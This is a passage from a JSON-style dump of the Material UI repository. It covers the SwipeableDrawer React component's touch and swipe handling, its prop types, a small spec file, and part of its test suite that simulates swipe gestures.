(swipeInstance.current.velocity < -minFlingVelocity || 1 - translateRatio > hysteresis) {\n      onOpen();\n    } else {\n      // Reset the position, the swipe was aborted.\n      setPosition(getMaxTranslate(horizontal, paperRef.current), {\n        mode: 'enter',\n      });\n    }\n  });\n\n  const startMaybeSwiping = (force = false) => {\n    if (!maybeSwiping) {\n      // on Safari Mobile, if you want to be able to have the 'click' event fired on child elements, nothing in the DOM can be changed.\n      // this is because Safari Mobile will not fire any mouse events (still fires touch though) if the DOM changes during mousemove.\n      // so do this change on first touchmove instead of touchstart\n      if (force || !(disableDiscovery && allowSwipeInChildren)) {\n        ReactDOM.flushSync(() => {\n          setMaybeSwiping(true);\n        });\n      }\n\n      const horizontalSwipe = isHorizontal(anchor);\n\n      if (!open && paperRef.current) {\n        // The ref may be null when a parent component updates while swiping.\n        setPosition(\n          getMaxTranslate(horizontalSwipe, paperRef.current) +\n            (disableDiscovery ? 15 : -DRAG_STARTED_SIGNAL),\n          {\n            changeTransition: false,\n          },\n        );\n      }\n\n      swipeInstance.current.velocity = 0;\n      swipeInstance.current.lastTime = null;\n      swipeInstance.current.lastTranslate = null;\n      swipeInstance.current.paperHit = false;\n\n      touchDetected.current = true;\n    }\n  };\n\n  const handleBodyTouchMove = useEventCallback((nativeEvent) => {\n    // the ref may be null when a parent component updates while swiping\n    if (!paperRef.current || !touchDetected.current) {\n      return;\n    }\n\n    // We are not supposed to handle this touch move because the swipe was started in a scrollable container in the drawer\n    if (claimedSwipeInstance !== null && claimedSwipeInstance !== swipeInstance.current) {\n      return;\n    }\n\n    startMaybeSwiping(true);\n\n    const anchorRtl = getAnchor(theme, anchor);\n    const horizontalSwipe = isHorizontal(anchor);\n\n    const currentX = calculateCurrentX(\n      anchorRtl,\n      nativeEvent.touches,\n      ownerDocument(nativeEvent.currentTarget),\n    );\n\n    const currentY = calculateCurrentY(\n      anchorRtl,\n      nativeEvent.touches,\n      ownerWindow(nativeEvent.currentTarget),\n    );\n\n    if (open && paperRef.current.contains(nativeEvent.target) && claimedSwipeInstance === null) {\n      const domTreeShapes = getDomTreeShapes(nativeEvent.target, paperRef.current);\n      const hasNativeHandler = computeHasNativeHandler({\n        domTreeShapes,\n        start: horizontalSwipe ? swipeInstance.current.startX : swipeInstance.current.startY,\n        current: horizontalSwipe ? currentX : currentY,\n        anchor,\n      });\n\n      if (hasNativeHandler) {\n        claimedSwipeInstance = true;\n        return;\n      }\n      claimedSwipeInstance = swipeInstance.current;\n    }\n\n    // We don't know yet.\n    if (swipeInstance.current.isSwiping == null) {\n      const dx = Math.abs(currentX - swipeInstance.current.startX);\n      const dy = Math.abs(currentY - swipeInstance.current.startY);\n\n      const definitelySwiping = horizontalSwipe\n        ? dx > dy && dx > UNCERTAINTY_THRESHOLD\n        : dy > dx && dy > UNCERTAINTY_THRESHOLD;\n\n      if (definitelySwiping && nativeEvent.cancelable) {\n        nativeEvent.preventDefault();\n      }\n\n      if (\n        definitelySwiping === true ||\n        (horizontalSwipe ? dy > UNCERTAINTY_THRESHOLD : dx > UNCERTAINTY_THRESHOLD)\n      ) {\n        swipeInstance.current.isSwiping = definitelySwiping;\n        if (!definitelySwiping) {\n          handleBodyTouchEnd(nativeEvent);\n          return;\n        }\n\n        // Shift the starting point.\n        swipeInstance.current.startX = currentX;\n        swipeInstance.current.startY = currentY;\n\n        // Compensate for the part of the drawer displayed on touch start.\n        if (!disableDiscovery && !open) {\n          if (horizontalSwipe) {\n            swipeInstance.current.startX -= DRAG_STARTED_SIGNAL;\n          } else {\n            swipeInstance.current.startY -= DRAG_STARTED_SIGNAL;\n          }\n        }\n      }\n    }\n\n    if (!swipeInstance.current.isSwiping) {\n      return;\n    }\n\n    const maxTranslate = getMaxTranslate(horizontalSwipe, paperRef.current);\n    let startLocation = horizontalSwipe\n      ? swipeInstance.current.startX\n      : swipeInstance.current.startY;\n    if (open && !swipeInstance.current.paperHit) {\n      startLocation = Math.min(startLocation, maxTranslate);\n    }\n\n    const translate = getTranslate(\n      horizontalSwipe ? currentX : currentY,\n      startLocation,\n      open,\n      maxTranslate,\n    );\n\n    if (open) {\n      if (!swipeInstance.current.paperHit) {\n        const paperHit = horizontalSwipe ? currentX < maxTranslate : currentY < maxTranslate;\n        if (paperHit) {\n          swipeInstance.current.paperHit = true;\n          swipeInstance.current.startX = currentX;\n          swipeInstance.current.startY = currentY;\n        } else {\n          return;\n        }\n      } else if (translate === 0) {\n        swipeInstance.current.startX = currentX;\n        swipeInstance.current.startY = currentY;\n      }\n    }\n\n    if (swipeInstance.current.lastTranslate === null) {\n      swipeInstance.current.lastTranslate = translate;\n      swipeInstance.current.lastTime = performance.now() + 1;\n    }\n\n    const velocity =\n      ((translate - swipeInstance.current.lastTranslate) /\n        (performance.now() - swipeInstance.current.lastTime)) *\n      1e3;\n\n    // Low Pass filter.\n    swipeInstance.current.velocity = swipeInstance.current.velocity * 0.4 + velocity * 0.6;\n\n    swipeInstance.current.lastTranslate = translate;\n    swipeInstance.current.lastTime = performance.now();\n\n    // We are swiping, let's prevent the scroll event on iOS.\n    if (nativeEvent.cancelable) {\n      nativeEvent.preventDefault();\n    }\n\n    setPosition(translate);\n  });\n\n  const handleBodyTouchStart = useEventCallback((nativeEvent) => {\n    // We are not supposed to handle this touch move.\n    // Example of use case: ignore the event if there is a Slider.\n    if (nativeEvent.defaultPrevented) {\n      return;\n    }\n\n    // We can only have one node at the time claiming ownership for handling the swipe.\n    if (nativeEvent.defaultMuiPrevented) {\n      return;\n    }\n\n    // At least one element clogs the drawer interaction zone.\n    if (\n      open &&\n      (hideBackdrop || !backdropRef.current.contains(nativeEvent.target)) &&\n      !paperRef.current.contains(nativeEvent.target)\n    ) {\n      return;\n    }\n\n    const anchorRtl = getAnchor(theme, anchor);\n    const horizontalSwipe = isHorizontal(anchor);\n\n    const currentX = calculateCurrentX(\n      anchorRtl,\n      nativeEvent.touches,\n      ownerDocument(nativeEvent.currentTarget),\n    );\n\n    const currentY = calculateCurrentY(\n      anchorRtl,\n      nativeEvent.touches,\n      ownerWindow(nativeEvent.currentTarget),\n    );\n\n    if (!open) {\n      // logic for if swipe should be ignored:\n      // if disableSwipeToOpen\n      // if target != swipeArea, and target is not a child of paper ref\n      // if is a child of paper ref, and `allowSwipeInChildren` does not allow it\n      if (\n        disableSwipeToOpen ||\n        !(\n          nativeEvent.target === swipeAreaRef.current ||\n          (paperRef.current?.contains(nativeEvent.target) &&\n            (typeof allowSwipeInChildren === 'function'\n              ? allowSwipeInChildren(nativeEvent, swipeAreaRef.current, paperRef.current)\n              : allowSwipeInChildren))\n        )\n      ) {\n        return;\n      }\n      if (horizontalSwipe) {\n        if (currentX > swipeAreaWidth) {\n          return;\n        }\n      } else if (currentY > swipeAreaWidth) {\n        return;\n      }\n    }\n\n    nativeEvent.defaultMuiPrevented = true;\n    claimedSwipeInstance = null;\n    swipeInstance.current.startX = currentX;\n    swipeInstance.current.startY = currentY;\n\n    startMaybeSwiping();\n  });\n\n  React.useEffect(() => {\n    if (variant === 'temporary') {\n      const doc = ownerDocument(paperRef.current);\n      doc.addEventListener('touchstart', handleBodyTouchStart);\n      // A blocking listener prevents Firefox's navbar to auto-hide on scroll.\n      // It only needs to prevent scrolling on the drawer's content when open.\n      // When closed, the overlay prevents scrolling.\n      doc.addEventListener('touchmove', handleBodyTouchMove, { passive: !open });\n      doc.addEventListener('touchend', handleBodyTouchEnd);\n\n      return () => {\n        doc.removeEventListener('touchstart', handleBodyTouchStart);\n        doc.removeEventListener('touchmove', handleBodyTouchMove, { passive: !open });\n        doc.removeEventListener('touchend', handleBodyTouchEnd);\n      };\n    }\n\n    return undefined;\n  }, [variant, open, handleBodyTouchStart, handleBodyTouchMove, handleBodyTouchEnd]);\n\n  React.useEffect(\n    () => () => {\n      // We need to release the lock.\n      if (claimedSwipeInstance === swipeInstance.current) {\n        claimedSwipeInstance = null;\n      }\n    },\n    [],\n  );\n\n  React.useEffect(() => {\n    if (!open) {\n      setMaybeSwiping(false);\n    }\n  }, [open]);\n\n  const [SwipeAreaSlot, swipeAreaSlotProps] = useSlot('swipeArea', {\n    ref: swipeAreaRef,\n    elementType: SwipeArea,\n    ownerState: props,\n    externalForwardedProps: {\n      slots,\n      slotProps,\n    },\n    additionalProps: {\n      width: swipeAreaWidth,\n      anchor,\n    },\n  });\n\n  return (\n    <React.Fragment>\n      <Drawer\n        open={variant === 'temporary' && maybeSwiping ? true : open}\n        variant={variant}\n        ModalProps={{\n          // Ensures that paperRef.current will be defined inside the touch start event handler\n          // See https://github.com/mui/material-ui/issues/30414 for more information\n          ...(variant === 'temporary' && {\n            keepMounted: true,\n          }),\n          ...ModalPropsProp,\n        }}\n        hideBackdrop={hideBackdrop}\n        anchor={anchor}\n        transitionDuration={calculatedDurationRef.current || transitionDuration}\n        onClose={onClose}\n        ref={ref}\n        slots={slots}\n        slotProps={{\n          ...slotProps,\n          backdrop: mergeSlotProps(slotProps.backdrop, {\n            ref: backdropRef,\n          }),\n          paper: mergeSlotProps(slotProps.paper, {\n            style: {\n              pointerEvents:\n                variant === 'temporary' && !open && !allowSwipeInChildren ? 'none' : '',\n            },\n            ref: paperRef,\n          }),\n        }}\n        {...other}\n      />\n      {!disableSwipeToOpen && variant === 'temporary' && (\n        <NoSsr>\n          <SwipeAreaSlot {...swipeAreaSlotProps} />\n        </NoSsr>\n      )}\n    </React.Fragment>\n  );\n});\n\nSwipeableDrawer.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If set to true, the swipe event will open the drawer even if the user begins the swipe on one of the drawer's children.\n   * This can be useful in scenarios where the drawer is partially visible.\n   * You can customize it further with a callback that determines which children the user can drag over to open the drawer\n   * (for example, to ignore other elements that handle touch move events, like sliders).\n   *\n   * @param {TouchEvent} event The 'touchstart' event\n   * @param {HTMLDivElement} swipeArea The swipe area element\n   * @param {HTMLDivElement} paper The drawer's paper element\n   *\n   * @default false\n   */\n  allowSwipeInChildren: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]),\n  /**\n   * @ignore\n   */\n  anchor: PropTypes.oneOf(['bottom', 'left', 'right', 'top']),\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Disable the backdrop transition.\n   * This can improve the FPS on low-end devices.\n   * @default false\n   */\n  disableBackdropTransition: PropTypes.bool,\n  /**\n   * If `true`, touching the screen near the edge of the drawer will not slide in the drawer a bit\n   * to promote accidental discovery of the swipe gesture.\n   * @default false\n   */\n  disableDiscovery: PropTypes.bool,\n  /**\n   * If `true`, swipe to open is disabled. This is useful in browsers where swiping triggers\n   * navigation actions. Swipe to open is disabled on iOS browsers by default.\n   * @default typeof navigator !== 'undefined' && /iPad|iPhone|iPod/.test(navigator.userAgent)\n   */\n  disableSwipeToOpen: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  hideBackdrop: PropTypes.bool,\n  /**\n   * Affects how far the drawer must be opened/closed to change its state.\n   * Specified as percent (0-1) of the width of the drawer\n   * @default 0.52\n   */\n  hysteresis: PropTypes.number,\n  /**\n   * Defines, from which (average) velocity on, the swipe is\n   * defined as complete although hysteresis isn't reached.\n   * Good threshold is between 250 - 1000 px/s\n   * @default 450\n   */\n  minFlingVelocity: PropTypes.number,\n  /**\n   * @ignore\n   */\n  ModalProps: PropTypes /* @typescript-to-proptypes-ignore */.shape({}),\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {React.SyntheticEvent<{}>} event The event source of the callback.\n   */\n  onClose: PropTypes.func.isRequired,\n  /**\n   * Callback fired when the component requests to be opened.\n   *\n   * @param {React.SyntheticEvent<{}>} event The event source of the callback.\n   */\n  onOpen: PropTypes.func.isRequired,\n  /**\n   * If `true`, the component is shown.\n   * @default false\n   */\n  open: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    backdrop: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    docked: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    paper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    swipeArea: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    backdrop: PropTypes.elementType,\n    docked: PropTypes.elementType,\n    paper: PropTypes.elementType,\n    root: PropTypes.elementType,\n    swipeArea: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The width of the left most (or right most) area in `px` that\n   * the drawer can be swiped open from.\n   * @default 20\n   */\n  swipeAreaWidth: PropTypes.number,\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n  /**\n   * @ignore\n   */\n  variant: PropTypes.oneOf(['permanent', 'persistent', 'temporary']),\n};\n\nexport default SwipeableDrawer;\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/SwipeableDrawer.spec.ts",
    "content": "import { createTheme } from '@mui/material';\n\ncreateTheme({\n  components: {\n    MuiSwipeableDrawer: {\n      defaultProps: {\n        disableSwipeToOpen: true,\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/SwipeableDrawer.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport {\n  fireEvent,\n  createRenderer,\n  screen,\n  supportsTouch,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\nimport Drawer, { drawerClasses } from '@mui/material/Drawer';\nimport { backdropClasses } from '@mui/material/Backdrop';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport useForkRef from '../utils/useForkRef';\nimport describeConformance from '../../test/describeConformance';\n\nconst FakePaper = React.forwardRef(function FakeWidthPaper(props, ref) {\n  const { style, ...other } = props;\n  const paperRef = React.useRef(null);\n  const handleRef = useForkRef(ref, paperRef);\n\n  React.useEffect(() => {\n    // JSDOM has no layout\n    if (isJsdom()) {\n      Object.defineProperty(paperRef.current, 'clientWidth', { value: 250 });\n      Object.defineProperty(paperRef.current, 'clientHeight', { value: 250 });\n    }\n  });\n\n  return (\n    <div\n      tabIndex={-1}\n      ref={handleRef}\n      style={{\n        ...style,\n        width: '250px',\n        height: '250px',\n      }}\n      {...other}\n    />\n  );\n});\n\nconst NullPaper = React.forwardRef(function NullPaper(props, ref) {\n  const [hidden, setHidden] = React.useState(false);\n\n  React.useEffect(() => {\n    const handleTouchStart = () => {\n      setHidden(true);\n    };\n\n    document.addEventListener('touchstart', handleTouchStart);\n\n    return () => {\n      document.removeEventListener('touchstart', handleTouchStart);\n    };\n  }, []);\n\n  if (hidden) {\n    return null;\n  }\n\n  return <div tabIndex={-1} ref={ref} />;\n});\n\ndescribe('<SwipeableDrawer />', () => {\n  const { render } = createRenderer({ clock: 'fake' });\n\n  describeConformance(<SwipeableDrawer onOpen={() => {}} onClose={() => {}} open />, () => ({\n    render,\n    classes: {},\n    inheritComponent: Drawer,\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n  }));\n\n  it('should render a Drawer and a SwipeArea', () => {\n    render(<SwipeableDrawer open onOpen={() => {}} onClose={() => {}} />);\n    expect(document.querySelector('.MuiDrawer-root')).not.to.equal(null);\n    expect(document.querySelector('[class*=PrivateSwipeArea-root]')).not.to.equal(null);\n  });\n\n  it('should hide the SwipeArea if swipe to open is disabled', () => {\n    render(<SwipeableDrawer open onOpen={() => {}} onClose={() => {}} disableSwipeToOpen />);\n    expect(document.querySelector('[class*=PrivateSwipeArea-root]')).to.equal(null);\n  });\n\n  it('should accept user custom style', () => {\n    render(\n      <SwipeableDrawer\n        onOpen={() => {}}\n        onClose={() => {}}\n        open\n        slotProps={{\n          paper: { 'data-test': 'foo' },\n        }}\n      />,\n    );\n\n    expect(document.querySelector('.MuiPaper-root')).to.have.attribute('data-test', 'foo');\n  });\n\n  // only run in supported browsers\n  if (!supportsTouch()) {\n    return;\n  }\n\n  describe('swipe to open', () => {\n    const bodyWidth = document.body.offsetWidth;\n    const windowHeight = window.innerHeight;\n    const tests = [\n      {\n        anchor: 'left',\n        openTouches: [\n          { pageX: 0, clientY: 0 },\n          { pageX: 20, clientY: 0 },\n          { pageX: 180, clientY: 0 },\n        ],\n        closeTouches: [\n          { pageX: 200, clientY: 0 },\n          { pageX: 180, clientY: 0 },\n          { pageX: 10, clientY: 0 },\n        ],\n        edgeTouch: { pageX: 10, clientY: 50 },\n        ignoreTouch: { pageX: 100, clientY: 0 },\n      },\n      {\n        anchor: 'right',\n        openTouches: [\n          { pageX: bodyWidth, clientY: 0 },\n          { pageX: bodyWidth - 20, clientY: 0 },\n          { pageX: bodyWidth - 180, clientY: 0 },\n        ],\n        closeTouches: [\n          { pageX: bodyWidth - 200, clientY: 0 },\n          { pageX: bodyWidth - 180, clientY: 0 },\n          { pageX: bodyWidth - 10, clientY: 0 },\n        ],\n        edgeTouch: { pageX: bodyWidth - 10, clientY: 50 },\n        ignoreTouch: { pageX: bodyWidth - 100, clientY: 0 },\n      },\n      {\n        anchor: 'top',\n        openTouches: [\n          { pageX: 0, clientY: 0 },\n          { pageX: 0, clientY: 20 },\n          { pageX: 0, clientY: 180 },\n        ],\n        closeTouches: [\n          { pageX: 0, clientY: 200 },\n          { pageX: 0, clientY: 180 },\n          { pageX: 0, clientY: 10 },\n        ],\n        edgeTouch: { pageX: 50, clientY: 10 },\n        ignoreTouch: { pageX: 0, clientY: 100 },\n      },\n      {\n        anchor: 'bottom',\n        openTouches: [\n          { pageX: 0, clientY: windowHeight },\n          { pageX: 0, clientY: windowHeight - 20 },\n          { pageX: 0, clientY: windowHeight - 180 },\n        ],\n        closeTouches: [\n          { pageX: 0, clientY: windowHeight - 200 },\n          { pageX: 0, clientY: windowHeight - 180 },\n          { pageX: 0, clientY: windowHeight - 10 },\n        ],\n        edgeTouch: { pageX: 50, clientY: windowHeight - 10 },\n        ignoreTouch: { pageX: 0, clientY: windowHeight - 100 },\n      },\n    ];\n\n    tests.forEach((params) => {\n      describe(`anchor=${params.anchor}`, () => {\n        it('should open and close when swiping', () => {\n          const handleClose = spy();\n          const handleOpen = spy();\n          const { setProps } = render(\n            <SwipeableDrawer\n              anchor={params.anchor}\n              onOpen={handleOpen}\n              onClose={handleClose}\n              open={false}\n              slotProps={{\n                paper: { component: FakePaper },\n              }}\n            >\n              <div data-testid=\"drawer\">SwipeableDrawer</div>\n            </SwipeableDrawer>,\n          );\n\n          const swipeArea = document.querySelector('[class*=PrivateSwipeArea-root]');\n\n          fireEvent.touchStart(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[0] })],\n          });\n          fireEvent.touchMove(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[1] })],\n          });\n          fireEvent.touchMove(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[2] })],\n          });\n          fireEvent.touchEnd(swipeArea, {\n            changedTouches: [\n              new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[2] }),\n            ],\n          });\n          expect(handleOpen.callCount).to.equal(1);\n\n          setProps({ open: true });\n\n          const drawer = screen.getByTestId('drawer');\n\n          fireEvent.touchStart(drawer, {\n            touches: [new Touch({ identifier: 0, target: drawer, ...params.closeTouches[0] })],\n          });\n          fireEvent.touchMove(drawer, {\n            touches: [new Touch({ identifier: 0, target: drawer, ...params.closeTouches[1] })],\n          });\n          fireEvent.touchMove(drawer, {\n            touches: [new Touch({ identifier: 0, target: drawer, ...params.closeTouches[2] })],\n          });\n          fireEvent.touchEnd(drawer, {\n            changedTouches: [\n              new Touch({ identifier: 0, target: drawer, ...params.closeTouches[2] }),\n            ],\n          });\n          expect(handleClose.callCount).to.equal(1);\n        });\n\n        // Need layout\n        it.skipIf(isJsdom())('should open at correct position when swiping', function test() {\n          const handleClose = spy();\n          const handleOpen = spy();\n          const { setProps } = render(\n            <SwipeableDrawer\n              anchor={params.anchor}\n              onOpen={handleOpen}\n              onClose={handleClose}\n              open={false}\n              transitionDuration={0}\n              slotProps={{\n                paper: { component: FakePaper },\n              }}\n            >\n              <div data-testid=\"drawer\">SwipeableDrawer</div>\n            </SwipeableDrawer>,\n          );\n\n          const testParam = params.anchor === 'left' || params.anchor === 'right' ? 'x' : 'y';\n\n          const DRAG_STARTED_SIGNAL = 20; // Same as in SwipeableDrawer\n          const DRAWER_SIZE = 250;\n          const bodyMargin = document.body.getBoundingClientRect().x;\n          const absoluteBodyWidth = bodyWidth + bodyMargin * 2;\n\n          const swipeArea = document.querySelector('[class*=PrivateSwipeArea-root]');\n\n          fireEvent.touchStart(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[0] })],\n          });\n\n          let startPosition = -1 * (DRAWER_SIZE - DRAG_STARTED_SIGNAL); // default value for left & top anchor\n\n          if (params.anchor === 'right') {\n            startPosition = absoluteBodyWidth - DRAG_STARTED_SIGNAL;\n          }\n\n          if (params.anchor === 'bottom') {\n            startPosition = windowHeight - DRAG_STARTED_SIGNAL;\n          }\n          expect(screen.getByTestId('drawer').getBoundingClientRect()[testParam]).to.equal(\n            startPosition,\n          );\n\n          fireEvent.touchMove(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[1] })],\n          });\n\n          fireEvent.touchMove(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[2] })],\n          });\n\n          fireEvent.touchEnd(swipeArea, {\n            changedTouches: [\n              new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[2] }),\n            ],\n          });\n\n          expect(handleOpen.callCount).to.equal(1);\n          setProps({ open: true });\n\n          let endPosition = 0; // default value for left & top anchor\n\n          if (params.anchor === 'right') {\n            endPosition = absoluteBodyWidth - DRAWER_SIZE;\n          }\n\n          if (params.anchor === 'bottom') {\n            endPosition = windowHeight - DRAWER_SIZE;\n          }\n\n          expect(screen.getByTestId('drawer').getBoundingClientRect()[testParam]).to.equal(\n            endPosition,\n          );\n        });\n\n        it('should stay closed when not swiping far enough', () => {\n          // simulate open swipe that doesn't swipe far enough\n          const handleOpen = spy();\n          render(\n            <SwipeableDrawer\n              anchor={params.anchor}\n              onOpen={handleOpen}\n              onClose={() => {}}\n              open={false}\n              slotProps={{\n                paper: { component: FakePaper },\n              }}\n            >\n              <div>SwipeableDrawer</div>\n            </SwipeableDrawer>,\n          );\n\n          const swipeArea = document.querySelector('[class*=PrivateSwipeArea-root]');\n\n          fireEvent.touchStart(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[0] })],\n          });\n          fireEvent.touchMove(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[1] })],\n          });\n          fireEvent.touchEnd(swipeArea, {\n            changedTouches: [\n              new Touch({ identifier: 0, target: swipeArea, ...params.openTouches[1] }),\n            ],\n          });\n          expect(handleOpen.callCount).to.equal(0);\n        });\n\n        it('should stay opened when not swiping far enough', () => {\n          // simulate close swipe that doesn't swipe far enough\n          const handleClose = spy();\n          render(\n            <SwipeableDrawer\n              anchor={params.anchor}\n              onOpen={() => {}}\n              onClose={handleClose}\n              open\n              slotProps={{\n                paper: { component: FakePaper },\n              }}\n            >\n              <div data-testid=\"drawer\">SwipeableDrawer</div>\n            </SwipeableDrawer>,\n          );\n\n          const drawer = screen.getByTestId('drawer');\n\n          fireEvent.touchStart(drawer, {\n            touches: [new Touch({ identifier: 0, target: drawer, ...params.closeTouches[0] })],\n          });\n          fireEvent.touchMove(drawer, {\n            touches: [new Touch({ identifier: 0, target: drawer, ...params.closeTouches[1] })],\n          });\n          fireEvent.touchEnd(drawer, {\n            changedTouches: [\n              new Touch({ identifier: 0, target: drawer, ...params.closeTouches[1] }),\n            ],\n          });\n          expect(handleClose.callCount).to.equal(0);\n        });\n\n        it('should slide in a bit when touching near the edge', () => {\n          const handleOpen = spy();\n          const handleClose = spy();\n          render(\n            <SwipeableDrawer\n              anchor={params.anchor}\n              onOpen={handleOpen}\n              onClose={handleClose}\n              open={false}\n              slotProps={{\n                paper: { component: FakePaper },\n              }}\n            >\n              <div data-testid=\"drawer\">SwipeableDrawer</div>\n            </SwipeableDrawer>,\n          );\n\n          const swipeArea = document.querySelector('[class*=PrivateSwipeArea-root]');\n\n          fireEvent.touchStart(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.edgeTouch })],\n          });\n          const drawer = screen.getByTestId('drawer');\n          expect(drawer).not.to.equal(null);\n\n          fireEvent.touchEnd(swipeArea, {\n            changedTouches: [new Touch({ identifier: 0, target: swipeArea, ...params.edgeTouch })],\n          });\n\n          expect(handleOpen.callCount).to.equal(0);\n          expect(handleClose.callCount).to.equal(0);\n        });\n\n        it('should let user scroll the page', () => {\n          const handleOpen = spy();\n          const handleClose = spy();\n          render(\n            <SwipeableDrawer\n              anchor={params.anchor}\n              disableDiscovery\n              onOpen={handleOpen}\n              onClose={handleClose}\n              open={false}\n              slotProps={{\n                paper: { component: FakePaper },\n              }}\n            >\n              <div>SwipeableDrawer</div>\n            </SwipeableDrawer>,\n          );\n\n          const swipeArea = document.querySelector('[class*=PrivateSwipeArea-root]');\n\n          fireEvent.touchStart(swipeArea, {\n            touches: [new Touch({ identifier: 0, target: swipeArea, ...params.ignoreTouch })],\n          });\n          fireEvent.touchEnd(swipeArea, {\n            changedTouches: [\n              new Touch({ identifier: 0, target: swipeArea, ...params.ignoreTouch }),\n            ],\n          });\n          expect(handleOpen.callCount).to.equal(0);\n          expect(handleClose.callCount).to.equal(0);\n        });\n      });\n    });\n\n    it('should abort when the SwipeableDrawer is closed', () => {\n      const handleClose = spy();\n      const { setProps } = render(\n        <SwipeableDrawer\n          onOpen={() => {}}\n          onClose={handleClose}\n          open\n          slotProps={{\n            paper: { component: FakePaper },\n          }}\n        >\n          <div data-testid=\"drawer\">SwipeableDrawer</div>\n        </SwipeableDrawer>,\n      );\n      const drawer = screen.getByTestId('drawer');\n\n      fireEvent.touchStart(drawer, {\n        touches: [new Touch({ identifier: 0, target: drawer, pageX: 250, clientY: 0 })],\n      });\n      fireEvent.touchMove(drawer, {\n        touches: [new Touch({ identifier: 0, target: drawer, pageX: 180, clientY: 0 })],\n      });\n      setProps({\n        open: false,\n      });\n      fireEvent.touchEnd(drawer, {\n        changedTouches: [new Touch({ identifier: 0, target: drawer, pageX: 10, clientY: 0 })],\n      });\n      expect(handleClose.callCount).to.equal(0);\n    });\n\n    it('removes event listeners on unmount', () => {\n      const { unmount } = render(\n        <SwipeableDrawer\n          onOpen={() => {}}\n          onClose={() => {}}\n          open={false}\n          slotProps={{\n            paper: { component: FakePaper },\n          }}\n        >\n          <div>SwipeableDrawer</div>\n        </SwipeableDrawer>,\n      );\n\n      const swipeArea = document.querySelector('[class*=PrivateSwipeArea-root]');\n      fireEvent.touchStart(swipeArea, {\n        touches: [new Touch({ identifier: 0, target: swipeArea, pageX: 250, clientY: 0 })],\n      });\n      unmount();\n      //  trigger setState warning if listeners aren't cleaned.\n      fireEvent.touchMove(swipeArea, {\n        touches: [new Touch({ identifier: 0, target: swipeArea, pageX: 180, clientY: 0 })],\n      });\n      //  trigger setState warning if swipe handling is not cleaned, too\n      fireEvent.touchStart(swipeArea, {\n        touches: [new Touch({ identifier: 0, target: swipeArea, pageX: 250, clientY: 0 })],\n      });\n    });\n\n    it('toggles swipe handling when the variant is changed', () => {\n      const { setProps } = render(\n        <SwipeableDrawer\n          onOpen={() => {}}\n          onClose={() => {}}\n          open={false}\n          slotProps={{\n            paper: { component: FakePaper },\n          }}\n        >\n          <div>SwipeableDrawer</div>\n        </SwipeableDrawer>,\n      );\n\n      // variant is 'temporary' by default\n      expect(document.querySelector('[class*=PrivateSwipeArea-root]')).not.to.equal(null);\n      setProps({ variant: 'persistent' });\n      expect(document.querySelector('[class*=PrivateSwipeArea-root]')).to.equal(null);\n      setProps({ variant: 'temporary' });\n      expect(document.querySelector('[class*=PrivateSwipeArea-root]')).not.to.equal(null);\n    });\n\n    const openTouchesForSwipingChildren = [\n      { pageX: 0, clientY: windowHeight - 20 },\n      { pageX: 0, clientY: windowHeight - 60 },\n      { pageX: 0, clientY: windowHeight - 180 },\n    ];\n\n    const handleHeight = 60;\n\n    describe('prop: allowSwipeInChildren', () => {\n      it('should allow swiping on children to open', () => {\n        const handleOpen = spy();\n        render(\n          <SwipeableDrawer\n            anchor={'bottom'}\n            allowSwipeInChildren\n            onOpen={handleOpen}\n            onClose={() => {}}\n            open={false}\n            swipeAreaWidth={20}\n            ModalProps={{\n              keepMounted: true,\n              sx: {\n                transform: `translateY(${handleHeight}px) !important`,\n              },\n            }}\n            slotProps={{\n              paper: { component: FakePaper },\n              swipeArea: {\n                style: {\n                  // ensure clicks will not be grabbed by swipe area to ensure testing just this functionality\n                  pointerEvents: 'none',\n                },\n              },\n            